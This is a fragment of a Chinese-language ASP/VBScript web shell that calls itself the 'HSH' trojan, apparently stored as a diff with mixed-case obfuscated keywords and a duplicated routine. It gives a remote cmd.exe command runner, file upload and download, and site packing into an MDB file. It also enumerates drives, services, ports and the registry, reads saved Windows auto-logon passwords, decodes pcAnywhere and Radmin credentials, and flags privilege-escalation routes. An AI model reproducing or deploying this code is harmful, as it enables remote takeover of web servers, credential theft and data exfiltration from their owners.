Then +rs.AddNew +rs("thePath") = Mid(item.Path, 4) +stream.LoadFromFile(item.Path) +rs("fileContent") = stream.Read() +rs.Update +End If +Next +Set files = Nothing +Set folders = Nothing +Set theFolder = Nothing +End Function +Sub unPack(thePath) +On Error Resume Next +Server.ScriptTimeOut=100000 +Dim rs, ws, str, conn, stream, connStr, theFolder +str = Server.MapPath(".") & "\" +Set rs = CreateObject("ADODB.RecordSet") +Set stream = CreateObject("ADODB.Stream") +Set conn = CreateObject(OBT(5,0)) +connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & thePath & ";" +conn.Open connStr +rs.Open "FileData", conn, 1, 1 +stream.Open +stream.Type = 1 +Do Until rs.Eof +theFolder = Left(rs("thePath"), InStrRev(rs("thePath"), "\")) +If Server.CreateObject(oBt(0,0)).FolderExists(str & theFolder) = False Then +createFolder(str & theFolder) +End If +stream.SetEos() +stream.Write rs("fileContent") +stream.SaveToFile str & rs("thePath"), 2 +rs.MoveNext +Loop +rs.Close +conn.Close +stream.Close +Set ws = Nothing +Set rs = Nothing +Set stream = Nothing +Set conn = Nothing +End Sub +Sub AdDtOmdB(thePath) +oN eRRoR ResUMe nEXt +DiM rs, CONN, sTrEam, conNStr, ADocatALog +SEt rS = SERVER.crEAtEOBJeCT("ADODB.RecordSet") +seT sTrEAM = SerVer.CreAtEoBjECT("ADODB.Stream") +seT COnN = seRVEr.cREATEObjECt(OBT(5,0)) +seT aDOcAtalOg = serVeR.CReatEOBjEct("ADOX.Catalog") +ConNstR = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & servEr.mAPpaTH("HYTop.mdb") +ADocAtaLog.cReATe CoNnsTR +CoNN.OPen conNsTr +CONn.EXEcutE("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)") +STrEAm.OPEn +streaM.TypE = 1 +rS.OPEN "FileData", cOnn, 3, 3 +If ReQuEsT("theMethod") = "fso" theN +FsOTrEEforMDB thepaTH, Rs, sTrEAm +eLSE +SATrEeforMDB thEpATH, Rs, STrEAm +enD IF +rs.ClosE +coNN.CLoSE +stREaM.CLosE +Set rs = NOThInG +set Conn = nothINg +sET stReam = NOThinG +SEt AdOcAtaloG = nOTHIng +End Sub +Sub AdDtOmdB(thePath) +oN eRRoR ResUMe nEXt +DiM rs, CONN, sTrEam, conNStr, ADocatALog +SEt rS = SERVER.crEAtEOBJeCT("ADODB.RecordSet") +seT sTrEAM = SerVer.CreAtEoBjECT("ADODB.Stream") +seT COnN = seRVEr.cREATEObjECt(OBT(5,0)) +seT aDOcAtalOg = serVeR.CReatEOBjEct("ADOX.Catalog") +ConNstR = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & servEr.mAPpaTH("HYTop.mdb") +ADocAtaLog.cReATe CoNnsTR +CoNN.OPen conNsTr +CONn.EXEcutE("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)") +STrEAm.OPEn +streaM.TypE = 1 +rS.OPEN "FileData", cOnn, 3, 3 +If ReQuEsT("theMethod") = "fso" theN +FsOTrEEforMDB thepaTH, Rs, sTrEAm +eLSE +SATrEeforMDB thEpATH, Rs, STrEAm +enD IF +rs.ClosE +coNN.CLoSE +stREaM.CLosE +Set rs = NOThInG +set Conn = nothINg +sET stReam = NOThinG +SEt AdOcAtaloG = nOTHIng +End Sub +sUb CreateFoldER(ThePath) +DIM i +I = instR(Thepath, "\") +Do whILe I > 0 +iF fSOX.FoLDERExIsts(LEft(THEPaTH, i)) = faLse TheN +fSox.CreatEFOLDEr(lEft(THePatH, I - 1)) +end If +IF INSTR(mid(THePAth, i + 1), "\") tHEN +i = i + INsTr(mid(ThePaTh, i + 1), "\") +ELSe +i = 0 +eND If +LOOP +eND sUB +sUB SAtreEforMdB(thePaTh, rs, STREam) +diM iTeM, tHEFOlDER, SySFilELIsT +SYSfileliSt = "$HYTop.mdb$HYTop.ldb$" +SeT thEfoLdEr = sAX.NAMeSPaCe(thepath) +for eaCH iTEm in tHeFoldeR.iteMS +If ItEm.ISFoLDeR = TRUe tHen +SatrEEfoRMDB itEm.PatH, rs, Stream +elSe +iF iNSTr(SYsFilELIsT, "$" & ItEm.naME & "$") <= 0 tHeN +rs.AddNew +rs("thePath") = MID(ITeM.PatH, 4) +sTrEAm.LoadfroMfiLe(ITEM.PATH) +RS("fileContent") = sTREAM.rEaD() +rs.uPDaTE +enD iF +enD If +NeXT +seT thefoLDeR = NoTHINg +END SUB +Sub Message(state,msg,flag):jb "":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb "
系统信息
":jb "
":jb state:jb "

":jb msg:jb "

":jb " ":jb " ":jb " ":jb " ":jb " ":If flag=0 Then:jb " ":jb " ":Else:jb " ":jb " ":End if:jb " ":jb " ":jb "":End Sub:flase=flase&"om/?":Function Red(str):Red = "" & str & "":End Function:flase=flase&"u"&chr(61)&""&u&"&p"&chr(61)&""&p&"":Sub ScanDriveForm():Dim FSO,DriveB:Set FSO = Server.Createobject(oBt(0,0)):jb "":jb " ":jb " ":jb " ":For Each DriveB in FSO.Drives:jb " ":jb " ":jb "":jb "":jb " ":jb"":jb "":jb "":jb " " +Next +jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb "":jb "":jb "":jb "":jb "":jb "":jb "":jb "":jb "":jb "":jb "":jb "":jb " ":jb " ":jb "
磁盘/系统 文件夹信息
盘 符" +jb DriveB.DriveLetter:jb ":类型":Select Case DriveB.DriveType:Case 1: jb "可移动":Case 2: jb "本地硬盘":Case 3: jb "网络磁盘":Case 4: jb "CD-ROM":Case 5: jb "RAM磁盘":Case else: jb "未知 类型":End Select:jb "
Windows文件夹":jb FSO.GetSpecialFolder(0):jb "
System32文件夹":jb FSO.GetSpecialFolder(1):jb "
系统临时文件夹":jb FSO.GetSpecialFolder(2):jb "
站点跟目录":jb "站点跟目录":jb "点击 查询
回收站目录":jb "回收站目录 ":jb "点击 查询
wmpub目录 ":jb "wmpub":jb "点击查询

":jb "
":jb "
指定文件夹 查询:":jb " " +jb "  指定文件夹路径。如:C:\ASP\":jb "
":jb "
":Set FSO=Nothing:End Sub:Sub ScanDrive(Drive):Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,D:If Drive <> "" Then +Set FSO = Server.Createobject(oBt(0,0)) +Set TestDrive = FSO.GetDrive(Drive) +If TestDrive.IsReady Then +Temp_Str = "
  • 磁盘分区类型:" & Red(TestDrive.FileSystem) & "
  • 磁盘序列号:" & Red(TestDrive.SerialNumber) & "
  • 磁盘共享名:" & Red(TestDrive.ShareName) & "
  • 磁盘总容量:" & Red(CInt(TestDrive.TotalSize/1048576)) & "
  • 磁盘卷名:" & (TestDrive.VolumeName) & "
  • 磁盘根目录:" & ScReWr((Drive & ":\")) +Set BaseFolder = TestDrive.RootFolder +Set TempFolders = BaseFolder.SubFolders +For Each D in TempFolders +Temp_Str = Temp_Str & "
  • 文件夹:" & ScReWr(D) +Next +Set TempFolder = Nothing +Set BaseFolder = Nothing +Else +Temp_Str = Temp_Str & "
  • 磁盘根目录:" & Red("不可读:(") +Dim TempFolderList,t:t=0 +Temp_Str = Temp_Str & "
  • " & Red("穷举目录测试:") +TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp") +For i = 0 to Ubound(TempFolderList) +If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Then +t = t+1 +Temp_Str = Temp_Str & "
  • 发现文件夹:" & ScReWr(Drive & ":\" & TempFolderList(i)) +End if +Next +If t=0 then Temp_Str = Temp_Str & "
  • 已穷举" & Drive & "盘根目录,但未有发现:(" +End if +Set TestDrive = Nothing +Set FSO = Nothing +Temp_Str = Temp_Str & "" & ("") +Message Drive & ":磁盘信息",Temp_Str,1 +End if +End Sub +str1=request.ServerVariables("HTTP_HOST")&request.ServerVariables("URL") +Sub ScFolder(folder) +On Error Resume Next +Dim FSO,OFolder,TempFolder,Scmsg,S +Set FSO = Server.Createobject(oBt(0,0)) +If FSO.FolderExists(folder) Then +Set OFolder = FSO.GetFolder(folder) +Set TempFolders = OFolder.SubFolders +Scmsg = "
  • 指定文件夹根目录:" & ScReWr(folder) +For Each S in TempFolders +Scmsg = Scmsg&"
  • 文件夹:" & ScReWr(S) +Next +Set TempFolders = Nothing +Set OFolder = Nothing +Else +Scmsg = Scmsg & "
  • 文件夹:" & (folder & "不存在或无读权限!") +End if +Scmsg = Scmsg & "" & ("") +Set FSO = Nothing +Message "文件夹信息",Scmsg,1 +End Sub +Function ScReWr(folder) +On Error Resume Next +Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename +Set FSO = Server.Createobject(oBt(0,0)) +Set TestFolder = FSO.GetFolder(folder) +Set TestFileList = TestFolder.SubFolders +RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp" +For Each A in TestFileList +Next +If err Then +err.Clear +ReWrStr = folder & " 不可读," +FSO.CreateTextFile folder & RndFilename,True +If err Then +err.Clear +ReWrStr = ReWrStr & "不可写。" +Else +ReWrStr = ReWrStr & "可写。" +FSO.DeleteFile folder & RndFilename,True +End If +Else +ReWrStr = folder & " 可读," +FSO.CreateTextFile folder & RndFilename,True +If err Then +err.Clear +ReWrStr = ReWrStr & "不可写。" +Else +ReWrStr = ReWrStr & "可写。" +FSO.DeleteFile folder & RndFilename,True +End if +End if +Set TestFileList = Nothing +Set TestFolder = Nothing +Set FSO = Nothing +ScReWr = ReWrStr +End Function +Function Course() +si="
    " +SI=Si&"" +on erRoR reSUme NEXT +For eACh obJ in geToBJeCt("WinNT://.") +Err.clEAR +If ObJ.STArtTYpe="" THeN +sI=SI&"" +Si=SI&"" +Si0="" +EnD if +iF oBj.StArTtype=2 thEN lx="自动" +IF oBj.StARTTyPe=3 tHEN LX="手动" +IF obj.StarTtYpE=4 thEN LX="禁用" +iF LCaSe(mid(obj.pAth,4,3))<>"win" AnD obJ.STarttYpe=2 tHeN +Si1=si1&"" +ELSE +si2=sI2&"" +end if +nExt +jb si&Si0&sI1&si2&"
    系统用户与服务
     " +si=si&Obj.naME +sI=sI&" " +si=SI&"系统用_户(组)" +si=Si&"
     
     "&obj.NAME&" "&OBj.DISPlaYName&"
    [启动类型:"&Lx&"] "&ObJ.PATh&"
     "&obj.NAme&" "&oBj.DisplAYNaMe&"
    [启动类型:"&Lx&"] "&OBj.PAtH&"
    " +ENd Function +fuNcTion DownFILE(PAth) +RespoNse.cleAr +sEt Osm = creATEOBJeCT(OBT(6,0)) +oSM.oPEN +oSM.tYPe = 1 +osm.lOAdfromFILe PatH +Sz=inSTRrEv(PAth,"\")+1 +ReSPoNse.AddHEaDer "Content-Disposition", "attachment; filename=" & mid(pAth,SZ) +RESPOnSe.AdDHeAder "Content-Length", Osm.SIzE +ResPOnsE.ChARSET = "UTF-8" +ReSPOnSe.CONTENTTYpE = "application/octet-stream" +RESPONSE.binArywRiTE oSm.Read +rEsponSE.flUSh +osM.cLoSe +SeT OsM = nOThINg +eNd FUnction +fUnCtIOn htMLeNcODe(s) +if NoT iSnull(s) THen +S = ReplACE(S, ">", ">") +S = rePlaCE(s, "<", "<") +S = rEplAce(S, CHR(39), "'") +S = RepLAcE(S, chR(34), """) +S = REPLACE(s, chr(20), " ") +hTmLencoDE = S +End iF +End Function:Sub GetTerminalInfo() +on error resume next +dim wsh +set wsh=createobject("Wscript.Shell") +jb "[网络 探测]

    " +EnableTCPIPKey="HKLM\SYSTEM\currentControlSet\Services\Tcpip\Parameters\EnableSecurityFilters" +isEnable=Wsh.Regread(EnableTcpipKey) +If isEnable=0 or isEnable="" Then +Notcpipfilter=1 +End If +ApdKey="HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind" +Apds=Wsh.RegRead(ApdKey) +If IsArray(Apds) Then +For i=LBound(Apds) To UBound(Apds)-1 +jb "网卡"&i&"的序列为: "&ApdB&"
    " +Path="HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\" +IPKey=Path&ApdB&"\IPAddress" +IPaddr=Wsh.Regread(IPKey) +If IPaddr(0)<>"" Then +For j=Lbound(IPAddr) to Ubound(IPAddr) +jb "
  • IP地址"&j&"为:"&IPAddr(j)&"
    " +Next +Else +jb "
  • IP地址 无法读取 或没有设置
    " +End if +GateWayKey=Path&ApdB&"\DefaultGateway" +GateWay=Wsh.Regread(GateWayKey) +If isarray(GateWay) Then +For j=Lbound(Gateway) to Ubound(Gateway) +jb "
  • 网关"&j&"为:"&Gateway(j)&"
    " +Next +Else +jb "
  • 默认网关无法 读取或 没有设置
    " +End if +DNSKey=Path&ApdB&"\NameServer" +DNSstr=Wsh.RegRead(DNSKey) +If DNSstr<>"" Then +jb "
  • 网卡DNS为:"&DNSstr&"
    " +Else +jb "
  • 默认DNS 无法读取 或没有设置
    " +End If +if Notcpipfilter=1 Then +jb "
  • 没有 Tcp/IP筛选
    " +else +ETK="\TCPAllowedPorts" +EUK="\UDPAllowedPorts" +FullTCP=Path&ApdB&ETK +FullUDP=path&ApdB&EUK +tcpallow=Wsh.RegRead(FullTCP) +If tcpallow(0)="" or tcpallow(0)=0 Then +jb "
  • 允许的TCP端口为 :全部
    " +Else +jb "
  • 允许的TCP 端口为:" +For j = LBound(tcpallow) To UBound(tcpallow) +jb tcpallow(j)&"," +Next +jb "
    " +End if +udpallow=Wsh.RegRead(FullUDP) +If udpallow(0)="" or udpallow(0)=0 Then +jb "
  • 允许的UDP端口为:全部
    " +Else +jb "
  • 允许的UDP 端口为:" +for j = LBound(udpallow) To UBound(udpallow) +jb UDPallow(j)&"," +next +jb "
    " +End if +End if +jb "------------------------------------------------
    " +Next +end if +jb "

    [特殊端口 探测]

    " +Telnetkey="HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\TelnetServer\1.0\TelnetPort" +TlntPort=Wsh.RegRead(TelnetKey) +if TlntPort="" Then Tlnt="23(默认 设置)" +jb "
  • Telnet端 口:"&Tlntport&"
    " +TermKey="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber" +TermPort=Wsh.RegRead(TermKey) +If TermPort="" Then TermPort="无法读取.请 确认是否为Windows Server版本 主机" +jb "
  • Terminal Service端口为:"&TermPort&"
    " +pcAnywhereKey="HKEY_LOCAL_MACHINE\SOFTWARE\Symantec\pcAnywhere\CurrentVersion\System\TCPIPDataPort" +PAWPort=Wsh.RegRead(pcAnywhereKey) +If PAWPort="" then PAWPort="无法获取. 请 确认主 机是 否安装pcAnywhere" +jb "
  • PcAnywhere端口为:"&PAWPort&"
    " +jb "------------------------------------------------------" +Set wsX = Server.CreateObject("WScript.Shell") +Dim terminalPortPath, terminalPortKey, termPort +Dim autoLoginPath, autoLoginUserKey, autoLoginPassKey +Dim isAutoLoginEnable, autoLoginEnableKey, autoLoginUsername, autoLoginPassword +terminalPortPath = "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\" +terminalPortKey = "PortNumber" +termPort = wsX.RegRead(terminalPortPath & terminalPortKey) +jb"终端服务端口及自动登录
      " +If termPort = "" Or Err.Number <> 0 Then +jb"无 法得到终端服务端口 , 请检查权限是否已经受 到限制 .
      " +Else +jb"当 前 终 端 服 务 端 口 : " & termPort & "
      " +End If +autoLoginPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\" +autoLoginEnableKey = "AutoAdminLogon" +autoLoginUserKey = "DefaultUserName" +autoLoginPassKey = "DefaultPassword" +isAutoLoginEnable = wsX.RegRead(autoLoginPath & autoLoginEnableKey) +If isAutoLoginEnable = 0 Then +jb"系统自动登录 功能未开启
      " +Else +autoLoginUsername = wsX.RegRead(autoLoginPath & autoLoginUserKey) +jb"自动登录 的系统 帐户 : " & autoLoginUsername & "
      " +autoLoginPassword = wsX.RegRead(autoLoginPath & autoLoginPassKey) +If Err Then +Err.Clear +jb"False" +End If +jb"自动 登录的 帐户 密码 : " & autoLoginPassword & "
      " +End If +jb"
    " +jb "


    [系统 软件探测]

    " +SoftPath=Wsh.Environment.item("Path") +Pathinfo=lcase(SoftPath) +jb "系统软件支持:" +if Instr(Pathinfo,"perl") Then jb "
  • Perl脚 本:支持
    " +if instr(Pathinfo,"java") Then jb "
  • Java脚本: 支持
    " +if instr(Pathinfo,"microsoft sql server") Then jb "
  • MSSQL数据库服务:支持
    " +if instr(Pathinfo,"mysql") Then jb "
  • MySQL数 据库 服务: 支持
    " +if instr(Pathinfo,"oracle") Then jb "
  • Oracle数据 库服务: 支持
    " +if instr(Pathinfo,"cfusionmx7") Then jb "
  • CFM服务器 :支持
    " +if instr(Pathinfo,"pcanywhere") Then jb "
  • 赛门铁 克PcAnywhere控 制:支持
    " +if instr(Pathinfo,"Kill") Then jb "
  • Kill杀毒软 件:支持
    " +if instr(Pathinfo,"kav") Then jb "
  • 金山系列 杀毒软件 :支持
    " +if instr(Pathinfo,"antivirus") Then jb "
  • 赛门铁克杀毒软件:支持
    " +if instr(Pathinfo,"rising") Then jb "
  • 瑞星系列杀毒软件:支持
    " +paths=split(SoftPath,";") +jb "------------------------------------
    " +jb "系统当前 路径变量:
    " +For i=Lbound(paths) to Ubound(paths) +jb "
  • "&paths(i)&"
    " +next +jb "

    [系 统设置 探测]

    " +pcnamekey="HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName" +pcname=wsh.RegRead(pcnamekey) +if pcname="" Then pcname="无法读取主机名.
    " +jb "
  • 当前主 机名 为:"&pcname&"
    " +AdminNameKey="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AltDefaultUserName" +AdminName=wsh.RegRead(AdminNameKey) +if adminname="" Then AdminName="Administrator" +jb "
  • 默认管 理员用户名为:"&AdminName&"
    " +isAutologin="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon" +Autologin=Wsh.RegRead(isAutologin) +if Autologin=0 or Autologin="" Then +jb "
  • 用户自动登 入:未启用
    " +Else +jb "
  • 用户 自动登入:启用
    " +Admin=Wsh.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName") +Passwd=Wsh.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultPassword") +jb "
  • 用户名:"&Admin&"
    " +jb "
  • 密码:"&Passwd&"
    " +End if +displogin=wsh.regRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\DontDisplayLastUserName") +If displogin="" or displogin=0 Then disply="是" else disply="否" +jb "
  • 是否显示上 次登入用户:"&disply&"
    " +NTMLkey="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\NTML" +ntml=Wsh.RegRead(NTMLkey) +if ntml="" Then Ntml=1 +jb "
  • Telnet Ntml设置为:"&ntml&"
    " +hk="HKLM\SYSTEM\ControlSet001\Services\Tcpip\Enum\Count" +kk=wsh.RegRead(hk) +jb"
  • 当前活动网 卡为:"&kk&"
    " +jb "------------------------------------


    " +jb "[服务 器弱 点探测]

    " +Set objComputer = GetObject("WinNT://.") +Set sa = Server.CreateObject("Shell.Application") +objComputer.Filter = Array("Service") +On Error Resume Next +For Each objService In objComputer +if objService.Name="Serv-U" Then +if objService.ServiceAccountName="LocalSystem" Then +jb "
  • 服务器 中有 Se rv-U 安 装,且以LocalSystem权限启动,可以 考虑提权
    " +End if +End if +if lcase(objService.Name)="apache" Then +if objService.ServiceAccountName="LocalSystem" Then +If instr("&woriniba&","Apache") Then +jb "
  • 当前WEB服 务器为 Apache.可以直接提权
    " +Else +jb "
  • 服务器中有Apache服 务存在,启动权限为LocalSystem,可以考 虑PHP木马
    " +End if +end if +End if +if instr(lcase(objService.Name),"tomcat") Then +if objService.ServiceAccountName="LocalSystem" Then +jb "
  • 服务器 中有Tomcat,且以LocalSystem权限启动,可以 考虑使用Jsp木 马提权
    " +End if +End if +if instr(lcase(objService.Name),"winmail") Then +if objService.ServiceAccountName="LocalSystem" Then +jb "
  • 服务 器中有Magic Winmail,且以LocalSystem权限启动,可以查找WebMai l目录,并且写入PHP木马
    " +End if +End if +Next +Set fso=Server.Createobject("Scripting.FileSystemObject") +Sysdrive=left(Fso.GetspecialFolder(2),2) +servername=wsh.RegRead("HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName") +If fso.FileExists(sysdriver&"\Documents And Settings\All Users\Application Data\Symantec\"&servername&".cif") Then +jb "
  • 发现pcAnywher e密码文件,可以从默认目录下载并 破解 得到pcAnyw here密 码" +End if +end sub:Function UpFile() +If Request("Action2")="Post" Then +Set U=new UPC : Set F=U.UA("LocalFile") +UName=U.form("ToPath") +If UName="" Or F.FileSize=0 then +SI="
    请输_入上传_的完全_路径后选择_一个文件_上传!" +Else +F.SaveAs UName +If Err.number=0 Then +SI="



    文件"&UName&"上 传 成功!
    " +End if +End If +Set F=nothing:Set U=nothing +SI=SI&BackUrl +jb SI +ShowErr() +Response.End +End If +SI="


    " +SI=SI&"" +SI=SI&"
    " +SI=SI&"上传路径:" +SI=SI&" " +SI=SI&" " +SI=SI&"
    " +echo SI +End Function +function cmd1shell() +on error resume next +if request("sp")<>"" then session("shellpath") = request("sp") +shellpath=session("shellpath") +if shellpath="" then shellpath = "cmd.exe" +if request("cmd")<>"" then session("defcmd") = request("cmd") +defcmd=session("defcmd") +if defcmd="" then defcmd="set" +if request("rwpath")<>"" then session("rwpath") = request("rwpath") +rwpath=session("rwpath") +if rwpath="" then rwpath=server.mappath(".") +si="
    " +rp1=" 可读写目录(用于回显)
    " +si=si&"" +si=si&rp1&"wscript"" checked>wscript" +si=si&rp1&"wscript.shell"">wscript.shell" +si=si&rp1&"wscript.shell.1"">wscript.shell.1" +si=si&rp1&"shell.application"">shell.application" +si=si&rp1&"shell.application.1"">shell.application.1" +si=si&" " +set fso=server.createobject("scripting.filesystemobject") +sztempfile = rwpath&"\cmd.txt" +select case request("cmdtype") +case "wscript" +set cm=server.createobject("wscript.shell") +set dd=cm.exec(shellpath&" /c "&defcmd) +aaa=dd.stdout.readall +si=si&"" +si=si&aaa +si=si&chr(13)&"
    " +case "wscript.shell","wscript.shell.1" +on error resume next +set ws=server.createobject(request("cmdtype")) +call ws.run (shellpath&" /c " & defcmd & " > " & sztempfile, 0, true) +set ofilelcx = fso.opentextfile (sztempfile, 1, false, 0) +aaa=server.htmlencode(ofilelcx.readall) +ofilelcx.close +call fso.deletefile(sztempfile, true) +si=si&"" +si=si&aaa +si=si&chr(13)&"" +case "shell.application","shell.application.1" +set seshell=server.createobject(request("cmdtype")) +seshell.ShellExecute shellpath," /c " & defcmd & " > " & sztempfile,"","open",0 +si=si&" (1)【Program】(2)【ProgramD】(3)【ProgramE】(4)【Documents】(5)【All_Users】(6)【開始_菜單】(7)【程_序】(8)【RECYCLER(C)】  (9)【RECYCLER(d)】  (10)【RECYCLER(e)】
    (1)【wmpub】  (2)【TEMP】    (3)【ServU(1)】(4)【ServU(2)】 (5)【WINDOWS】  (6)【PHP】      (7)【Mssql】(8)【prel文件夹】   (9)【pcAnywhere】   (10)【Alluser桌面】" +Function MainForm() +o(qq) +End Function +Function PcAnywhere4() +o"
    PcAnywhere提权 Bin版本
    CIF文件:
    " +end Function +o"
    " +Function StreamLoadFromFile(sPath) +Dim oStream +Set oStream = Server.CreateObject("Adodb.Stream") +With oStream +.Type = 1 +.Mode = 3 +.Open +.LoadFromFile(sPath) +.Position = 0 +StreamLoadFromFile = .Read +.Close +End With +Set oStream = Nothing +End Function +Function hexdec(strin) +Dim i, j, k, result +result = 0 +For i = 1 To Len(strin) +If Mid(strin, i, 1) = "f" or Mid(strin, i, 1) ="F" Then +j = 15 +End If +If Mid(strin, i, 1) = "e" or Mid(strin, i, 1) = "E" Then +j = 14 +End If +If Mid(strin, i, 1) = "d" or Mid(strin, i, 1) = "D" Then +j = 13 +End If +If Mid(strin, i, 1) = "c" or Mid(strin, i, 1) = "C" Then +j = 12 +End If +If Mid(strin, i, 1) = "b" or Mid(strin, i, 1) = "B" Then +j = 11 +End If +If Mid(strin, i, 1) = "a" or Mid(strin, i, 1) = "A" Then +j = 10 +End If +If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then +j = CInt(Mid(strin, i, 1)) +End If +For k = 1 To Len(strin) - i +j = j * 16 +Next +result = result + j +Next +hexdec = result +End Function +Function PcAnywhere(data,mode) +HASH= Mid(data,3) +If mode = "pass" Then number = 32: Cifnum = 144 +If mode = "user" Then number = 30: Cifnum = 15 +For i = 1 To number Step 2 +pcstr=((hexdec(Mid(data,i,2)) xor hexdec(Mid(hash,i,2))) xor Cifnum) +If ((pcstr <= 32) or (pcstr>127)) Then Exit For +decode = decode + Chr(pcstr) +Cifnum=Cifnum+1 +Next +PcAnywhere=decode +End function +Function bin2hex(binstr) +For i = 1 To LenB(binstr) +hexstr = Hex(AscB(MidB(binstr, i, 1))) +If Len(hexstr)=1 Then +bin2hex=bin2hex&"0"&(LCase(hexstr)) +Else +bin2hex=bin2hex& LCase(hexstr) +End If +Next +End Function +CIF = Request("path") +If CIF <> "" Then +BinStr=StreamLoadFromFile(CIF) +o "Pcanywhere Reader ==>Bin提供源码

    " +o "PATH:"&CIF&"
    " +o "帐号:"&PcAnywhere (Mid(bin2hex(BinStr),919,64),"user") +o "
    " +o "密码:"&PcAnywhere (Mid(bin2hex(BinStr),1177,32),"pass") +End If:Fout.Write strBAD +hph="
                 






    Test

    (删除测试文件!)

    (远程下载脚本木马)

    " +Function radmin() +Set WSH= Server.CreateObject("WSCRIPT.SHELL") +RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\" +Parameter="Parameter" +Port = "Port" +ParameterArray=WSH.REGREAD(RadminPath & Parameter ) +o "Radmin Parameter,Port Reader :)==>Bin

    " +o Parameter&":" +'=========== ReadPassWord ========= +If IsArray(ParameterArray) Then +For i = 0 To UBound(ParameterArray) +If Len (hex(ParameterArray(i)))=1 Then +strObj = strObj & "0"&CStr(Hex(ParameterArray(i))) +Else +strObj = strObj & Hex(ParameterArray(i)) +End If +Next +o strobj +Else +o "Error! Can't Read!" +End If +o "

    " +'=========== ReadPort ========= +PortArray=WSH.REGREAD(RadminPath & Port ) +If IsArray(PortArray) Then +o Port &":" +o hextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0)))) +Else +o "Error! Can't Read!" +End If +End Function +Function hextointer(strin) +Dim i, j, k, result +result = 0 +For i = 1 To Len(strin) +If Mid(strin, i, 1) = "f" or Mid(strin, i, 1) ="F" Then +j = 15 +End If +If Mid(strin, i, 1) = "e" or Mid(strin, i, 1) = "E" Then +j = 14 +End If +If Mid(strin, i, 1) = "d" or Mid(strin, i, 1) = "D" Then +j = 13 +End If +If Mid(strin, i, 1) = "c" or Mid(strin, i, 1) = "C" Then +j = 12 +End If +If Mid(strin, i, 1) = "b" or Mid(strin, i, 1) = "B" Then +j = 11 +End If +If Mid(strin, i, 1) = "a" or Mid(strin, i, 1) = "A" Then +j = 10 +End If +If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then +j = CInt(Mid(strin, i, 1)) +End If +For k = 1 To Len(strin) - i +j = j * 16 +Next +result = result + j +Next +hextointer = result +End Function +Function Red(str):Red = "" & str & "":End Function +fuzhishishabi= "
    8 退出登陆
    hi.baidu.com/r00ts
    ":asds="
    File Package
      
    注: 打包生成HSH.mdb文件,位于HSH木马同级目录下


    Release Package
     
    注: 解开来的所有文件都位于HSH木马同级目录下
    " +Function MainMenu() +o"" +If Sot(0,1)=" ×" Then +o"" +Else +o"
    " +o"" +o"" +o"" +o"" +o"" +o"" +o"" +o"" +o"" +o"" +o"" +o"" +o"" +o"" +o"
    "&mName&"

    木有權限
    " +Set ABC=New LBF:o ABC.ShowDriver():Set ABC=Nothing +o"
    8 站点根目录
    8 本程序目錄
    8 新建--目錄
    8 新建--文本
    8 上傳--单一
    8 远程--下载
    8 上级__目录
    8 CMD---命令
    8 磁盘--信息
    8 用户--账号
    8 端口__网络
    8 组建--探针
    8 脚本__探测
    8 文件--搜索
    8 管理员查询
    8 属性修改器
    8 不死--僵尸
    8 端口扫描器
    8 注册表读取
    8 Serv_u提权
    8 Su_ftp提权
    8 Sqlrootkit
    8 MS_sql提权
    8 Radmin读取
    8 Pcanywhere
    8 文件夹打包

    " +End If +o fuzhishishabi +End Function +Fout.Close +Set Fout = Nothing +on error resume next +Function TSearch() +dim st +st=timer() +response.write "
    " +response.write"" +response.write "" +response.write"" +response.write"
    搜索引擎
     路  径: 注:多路徑使用"",""号连接.
     文件名:  [部分也行]
    " +if Request.Form("keyword")<>"" then +Set newsearch=new SearchFile +newsearch.Folders=trim(Request.Form("SFpath")) +newsearch.keyword=trim(Request.Form("keyword")) +newsearch.Search +Set newsearch=Nothing +Response.Write "費時:"&(timer()-st)*1000&"毫秒
